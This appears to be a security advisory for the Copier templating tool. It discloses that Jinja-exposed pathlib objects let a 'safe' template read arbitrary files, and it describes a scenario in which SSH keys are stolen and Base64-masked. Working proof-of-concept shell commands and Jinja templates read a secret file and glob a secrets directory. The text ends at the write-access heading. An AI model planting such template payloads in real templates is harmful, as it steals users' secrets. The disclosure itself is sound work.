Impact
Copier's current security model shall restrict filesystem access through Jinja:
- Files can only be read using
{% include ... %}, which is limited by Jinja to reading files from the subtree of the local template clone in our case.
- Files are written in the destination directory according to their counterparts in the template.
Copier suggests that it's safe to generate a project from a safe template, i.e. one that doesn't use unsafe features like custom Jinja extensions which would require passing the --UNSAFE,--trust flag. As it turns out, a safe template can currently read and write arbitrary files because we expose a few pathlib.Path objects in the Jinja context which have unconstrained I/O methods. This effectively renders our security model w.r.t. filesystem access useless.
Arbitrary read access
Imagine, e.g., a malicious template author who creates a template that reads SSH keys or other secrets from well-known locations, perhaps "masks" them with Base64 encoding to reduce detection risk, and hopes for a user to push the generated project to a public location like github.com where the template author can extract the secrets.
Reproducible example:
-
Read known file:
echo "s3cr3t" > secret.txt
mkdir src/
echo "stolen secret: {{ (_copier_conf.dst_path / '..' / 'secret.txt').resolve().read_text('utf-8') }}" > src/stolen-secret.txt.jinja
uvx copier copy src/ dst/
cat dst/stolen-secret.txt
-
Read unknown file(s) via globbing:
mkdir secrets/
echo "s3cr3t #1" > secrets/secret1.txt
echo "s3cr3t #2" > secrets/secret2.txt
mkdir src/
cat <<'EOF' > src/stolen-secrets.txt.jinja
stolen secrets:
{% set parent = (_copier_conf.dst_path / '..' / 'secrets').resolve() %}
{% for f in parent.glob('*.txt') %}
{{ f }}: {{ f.read_text('utf-8') }}
{% endfor %}
EOF
uvx copier copy src/ dst/
cat dst/stolen-secrets.txt
Arbitrary write access